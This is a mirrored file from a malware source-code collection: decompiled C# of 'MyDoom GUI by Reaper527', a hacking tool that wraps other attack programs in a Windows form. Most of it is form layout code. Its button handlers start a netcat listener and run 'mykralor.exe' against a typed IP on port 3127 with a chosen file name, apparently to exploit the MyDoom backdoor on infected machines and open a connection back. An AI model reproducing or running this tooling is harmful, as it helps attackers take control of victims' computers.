mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 03:16:11 +00:00
f2ac1ece55
add
419 lines
12 KiB
C#
419 lines
12 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: MyDoomGui.Form1
|
|
// Assembly: MyDoomGui, Version=1.0.1502.30493, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 6C6928A3-EE14-4DF7-9863-BE37DB5C6929
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.Mydoomer.g-991fd70524a1d3ec8a7d786e00f91705f1c0a88072319302353dd58f81cb5052.exe
|
|
|
|
using Microsoft.VisualBasic;
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using System;
|
|
using System.ComponentModel;
|
|
using System.Diagnostics;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Windows.Forms;
|
|
|
|
namespace MyDoomGui
|
|
{
|
|
public class Form1 : Form
|
|
{
|
|
[AccessedThroughProperty("Label3")]
|
|
private Label _Label3;
|
|
[AccessedThroughProperty("txtFilename")]
|
|
private TextBox _txtFilename;
|
|
[AccessedThroughProperty("btnDown")]
|
|
private Button _btnDown;
|
|
[AccessedThroughProperty("txtNetCat")]
|
|
private TextBox _txtNetCat;
|
|
[AccessedThroughProperty("Label2")]
|
|
private Label _Label2;
|
|
[AccessedThroughProperty("TxtIP")]
|
|
private TextBox _TxtIP;
|
|
[AccessedThroughProperty("Label1")]
|
|
private Label _Label1;
|
|
[AccessedThroughProperty("btnExploit")]
|
|
private Button _btnExploit;
|
|
[AccessedThroughProperty("BtnNetCat")]
|
|
private Button _BtnNetCat;
|
|
[AccessedThroughProperty("rtbInstruc")]
|
|
private RichTextBox _rtbInstruc;
|
|
[AccessedThroughProperty("Label5")]
|
|
private Label _Label5;
|
|
[AccessedThroughProperty("btnUp")]
|
|
private Button _btnUp;
|
|
private IContainer components;
|
|
private string IPval;
|
|
private string NetCatval;
|
|
private string FileNameval;
|
|
private int linenumber;
|
|
|
|
[STAThread]
|
|
public static void Main() => Application.Run((Form) new Form1());
|
|
|
|
public Form1()
|
|
{
|
|
this.Activated += new EventHandler(this.Form1_Activated);
|
|
this.InitializeComponent();
|
|
}
|
|
|
|
protected override void Dispose(bool disposing)
|
|
{
|
|
if (disposing && this.components != null)
|
|
this.components.Dispose();
|
|
base.Dispose(disposing);
|
|
}
|
|
|
|
internal virtual TextBox TxtIP
|
|
{
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
if (this._TxtIP == null)
|
|
;
|
|
this._TxtIP = value;
|
|
if (this._TxtIP == null)
|
|
;
|
|
}
|
|
get => this._TxtIP;
|
|
}
|
|
|
|
internal virtual Label Label1
|
|
{
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
if (this._Label1 == null)
|
|
;
|
|
this._Label1 = value;
|
|
if (this._Label1 == null)
|
|
;
|
|
}
|
|
get => this._Label1;
|
|
}
|
|
|
|
internal virtual Button BtnNetCat
|
|
{
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
if (this._BtnNetCat != null)
|
|
this._BtnNetCat.Click -= new EventHandler(this.BtnNetCat_Click);
|
|
this._BtnNetCat = value;
|
|
if (this._BtnNetCat == null)
|
|
return;
|
|
this._BtnNetCat.Click += new EventHandler(this.BtnNetCat_Click);
|
|
}
|
|
get => this._BtnNetCat;
|
|
}
|
|
|
|
internal virtual Button btnExploit
|
|
{
|
|
get => this._btnExploit;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
if (this._btnExploit != null)
|
|
this._btnExploit.Click -= new EventHandler(this.btnExploit_Click);
|
|
this._btnExploit = value;
|
|
if (this._btnExploit == null)
|
|
return;
|
|
this._btnExploit.Click += new EventHandler(this.btnExploit_Click);
|
|
}
|
|
}
|
|
|
|
internal virtual Label Label2
|
|
{
|
|
get => this._Label2;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
if (this._Label2 == null)
|
|
;
|
|
this._Label2 = value;
|
|
if (this._Label2 == null)
|
|
;
|
|
}
|
|
}
|
|
|
|
internal virtual TextBox txtNetCat
|
|
{
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
if (this._txtNetCat == null)
|
|
;
|
|
this._txtNetCat = value;
|
|
if (this._txtNetCat == null)
|
|
;
|
|
}
|
|
get => this._txtNetCat;
|
|
}
|
|
|
|
internal virtual TextBox txtFilename
|
|
{
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
if (this._txtFilename == null)
|
|
;
|
|
this._txtFilename = value;
|
|
if (this._txtFilename == null)
|
|
;
|
|
}
|
|
get => this._txtFilename;
|
|
}
|
|
|
|
internal virtual Label Label3
|
|
{
|
|
get => this._Label3;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
if (this._Label3 == null)
|
|
;
|
|
this._Label3 = value;
|
|
if (this._Label3 == null)
|
|
;
|
|
}
|
|
}
|
|
|
|
internal virtual Label Label5
|
|
{
|
|
get => this._Label5;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
if (this._Label5 == null)
|
|
;
|
|
this._Label5 = value;
|
|
if (this._Label5 == null)
|
|
;
|
|
}
|
|
}
|
|
|
|
internal virtual RichTextBox rtbInstruc
|
|
{
|
|
get => this._rtbInstruc;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
if (this._rtbInstruc == null)
|
|
;
|
|
this._rtbInstruc = value;
|
|
if (this._rtbInstruc == null)
|
|
;
|
|
}
|
|
}
|
|
|
|
internal virtual Button btnUp
|
|
{
|
|
get => this._btnUp;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
if (this._btnUp != null)
|
|
this._btnUp.Click -= new EventHandler(this.btnUp_Click);
|
|
this._btnUp = value;
|
|
if (this._btnUp == null)
|
|
return;
|
|
this._btnUp.Click += new EventHandler(this.btnUp_Click);
|
|
}
|
|
}
|
|
|
|
internal virtual Button btnDown
|
|
{
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
if (this._btnDown != null)
|
|
this._btnDown.Click -= new EventHandler(this.btnDown_Click);
|
|
this._btnDown = value;
|
|
if (this._btnDown == null)
|
|
return;
|
|
this._btnDown.Click += new EventHandler(this.btnDown_Click);
|
|
}
|
|
get => this._btnDown;
|
|
}
|
|
|
|
[DebuggerStepThrough]
|
|
private void InitializeComponent()
|
|
{
|
|
this.TxtIP = new TextBox();
|
|
this.Label1 = new Label();
|
|
this.BtnNetCat = new Button();
|
|
this.btnExploit = new Button();
|
|
this.Label2 = new Label();
|
|
this.txtNetCat = new TextBox();
|
|
this.txtFilename = new TextBox();
|
|
this.Label3 = new Label();
|
|
this.Label5 = new Label();
|
|
this.rtbInstruc = new RichTextBox();
|
|
this.btnUp = new Button();
|
|
this.btnDown = new Button();
|
|
this.SuspendLayout();
|
|
TextBox txtIp1 = this.TxtIP;
|
|
Point point1 = new Point(56, 16);
|
|
Point point2 = point1;
|
|
txtIp1.Location = point2;
|
|
this.TxtIP.Name = "TxtIP";
|
|
TextBox txtIp2 = this.TxtIP;
|
|
Size size1 = new Size(128, 20);
|
|
Size size2 = size1;
|
|
txtIp2.Size = size2;
|
|
this.TxtIP.TabIndex = 0;
|
|
this.TxtIP.Text = "Ip Here";
|
|
Label label1_1 = this.Label1;
|
|
point1 = new Point(24, 16);
|
|
Point point3 = point1;
|
|
label1_1.Location = point3;
|
|
this.Label1.Name = "Label1";
|
|
Label label1_2 = this.Label1;
|
|
size1 = new Size(24, 16);
|
|
Size size3 = size1;
|
|
label1_2.Size = size3;
|
|
this.Label1.TabIndex = 11;
|
|
this.Label1.Text = "IP:";
|
|
this.Label1.TextAlign = ContentAlignment.MiddleRight;
|
|
Button btnNetCat = this.BtnNetCat;
|
|
point1 = new Point(200, 48);
|
|
Point point4 = point1;
|
|
btnNetCat.Location = point4;
|
|
this.BtnNetCat.Name = "BtnNetCat";
|
|
this.BtnNetCat.TabIndex = 3;
|
|
this.BtnNetCat.Text = "NetCat";
|
|
Button btnExploit = this.btnExploit;
|
|
point1 = new Point(200, 16);
|
|
Point point5 = point1;
|
|
btnExploit.Location = point5;
|
|
this.btnExploit.Name = "btnExploit";
|
|
this.btnExploit.TabIndex = 4;
|
|
this.btnExploit.Text = "Exploit";
|
|
Label label2_1 = this.Label2;
|
|
point1 = new Point(16, 48);
|
|
Point point6 = point1;
|
|
label2_1.Location = point6;
|
|
this.Label2.Name = "Label2";
|
|
Label label2_2 = this.Label2;
|
|
size1 = new Size(32, 16);
|
|
Size size4 = size1;
|
|
label2_2.Size = size4;
|
|
this.Label2.TabIndex = 10;
|
|
this.Label2.Text = "Port:";
|
|
this.Label2.TextAlign = ContentAlignment.MiddleRight;
|
|
TextBox txtNetCat1 = this.txtNetCat;
|
|
point1 = new Point(56, 48);
|
|
Point point7 = point1;
|
|
txtNetCat1.Location = point7;
|
|
this.txtNetCat.Name = "txtNetCat";
|
|
TextBox txtNetCat2 = this.txtNetCat;
|
|
size1 = new Size(128, 20);
|
|
Size size5 = size1;
|
|
txtNetCat2.Size = size5;
|
|
this.txtNetCat.TabIndex = 1;
|
|
this.txtNetCat.Text = "NetCat Port";
|
|
TextBox txtFilename1 = this.txtFilename;
|
|
point1 = new Point(56, 80);
|
|
Point point8 = point1;
|
|
txtFilename1.Location = point8;
|
|
this.txtFilename.Name = "txtFilename";
|
|
TextBox txtFilename2 = this.txtFilename;
|
|
size1 = new Size(128, 20);
|
|
Size size6 = size1;
|
|
txtFilename2.Size = size6;
|
|
this.txtFilename.TabIndex = 2;
|
|
this.txtFilename.Text = "File Name";
|
|
Label label3_1 = this.Label3;
|
|
point1 = new Point(8, 80);
|
|
Point point9 = point1;
|
|
label3_1.Location = point9;
|
|
this.Label3.Name = "Label3";
|
|
Label label3_2 = this.Label3;
|
|
size1 = new Size(40, 16);
|
|
Size size7 = size1;
|
|
label3_2.Size = size7;
|
|
this.Label3.TabIndex = 9;
|
|
this.Label3.Text = "Name:";
|
|
this.Label3.TextAlign = ContentAlignment.MiddleRight;
|
|
Label label5 = this.Label5;
|
|
point1 = new Point(104, 112);
|
|
Point point10 = point1;
|
|
label5.Location = point10;
|
|
this.Label5.Name = "Label5";
|
|
this.Label5.TabIndex = 8;
|
|
this.Label5.Text = "Instructions";
|
|
this.Label5.TextAlign = ContentAlignment.MiddleCenter;
|
|
RichTextBox rtbInstruc1 = this.rtbInstruc;
|
|
point1 = new Point(24, 152);
|
|
Point point11 = point1;
|
|
rtbInstruc1.Location = point11;
|
|
this.rtbInstruc.Name = "rtbInstruc";
|
|
RichTextBox rtbInstruc2 = this.rtbInstruc;
|
|
size1 = new Size(272, 152);
|
|
Size size8 = size1;
|
|
rtbInstruc2.Size = size8;
|
|
this.rtbInstruc.TabIndex = 7;
|
|
this.rtbInstruc.Text = "";
|
|
Button btnUp1 = this.btnUp;
|
|
point1 = new Point(216, 80);
|
|
Point point12 = point1;
|
|
btnUp1.Location = point12;
|
|
this.btnUp.Name = "btnUp";
|
|
Button btnUp2 = this.btnUp;
|
|
size1 = new Size(16, 23);
|
|
Size size9 = size1;
|
|
btnUp2.Size = size9;
|
|
this.btnUp.TabIndex = 6;
|
|
this.btnUp.Text = "N";
|
|
Button btnDown1 = this.btnDown;
|
|
point1 = new Point(248, 80);
|
|
Point point13 = point1;
|
|
btnDown1.Location = point13;
|
|
this.btnDown.Name = "btnDown";
|
|
Button btnDown2 = this.btnDown;
|
|
size1 = new Size(16, 23);
|
|
Size size10 = size1;
|
|
btnDown2.Size = size10;
|
|
this.btnDown.TabIndex = 5;
|
|
this.btnDown.Text = "L";
|
|
size1 = new Size(5, 13);
|
|
this.AutoScaleBaseSize = size1;
|
|
size1 = new Size(320, 342);
|
|
this.ClientSize = size1;
|
|
this.Controls.Add((Control) this.btnDown);
|
|
this.Controls.Add((Control) this.btnUp);
|
|
this.Controls.Add((Control) this.rtbInstruc);
|
|
this.Controls.Add((Control) this.Label5);
|
|
this.Controls.Add((Control) this.Label3);
|
|
this.Controls.Add((Control) this.txtFilename);
|
|
this.Controls.Add((Control) this.Label2);
|
|
this.Controls.Add((Control) this.txtNetCat);
|
|
this.Controls.Add((Control) this.btnExploit);
|
|
this.Controls.Add((Control) this.BtnNetCat);
|
|
this.Controls.Add((Control) this.Label1);
|
|
this.Controls.Add((Control) this.TxtIP);
|
|
this.Name = nameof (Form1);
|
|
this.Text = "MyDoom GUI by Reaper527";
|
|
this.ResumeLayout(false);
|
|
}
|
|
|
|
private void BtnNetCat_Click(object sender, EventArgs e)
|
|
{
|
|
this.NetCatval = this.txtNetCat.Text;
|
|
Interaction.Shell("nc.exe -l -vv -p " + this.NetCatval, AppWinStyle.NormalFocus);
|
|
}
|
|
|
|
private void btnExploit_Click(object sender, EventArgs e)
|
|
{
|
|
this.IPval = this.TxtIP.Text;
|
|
this.NetCatval = this.txtNetCat.Text;
|
|
this.FileNameval = this.txtFilename.Text;
|
|
Interaction.Shell("mykralor.exe " + this.IPval + " 3127" + " " + this.FileNameval, AppWinStyle.NormalFocus);
|
|
}
|
|
|
|
private void Form1_Activated(object sender, EventArgs e)
|
|
{
|
|
StreamReader streamReader = new StreamReader("inst.atb");
|
|
this.rtbInstruc.Text = streamReader.ReadToEnd();
|
|
streamReader.Close();
|
|
}
|
|
|
|
private void btnUp_Click(object sender, EventArgs e) => this.TxtIP.Text = FileSystem.LineInput(1);
|
|
|
|
private void btnDown_Click(object sender, EventArgs e)
|
|
{
|
|
if (StringType.StrCmp(FileSystem.Dir("scan.txt"), "", false) == 0)
|
|
return;
|
|
FileSystem.FileOpen(1, "scan.txt", OpenMode.Input);
|
|
}
|
|
}
|
|
}
|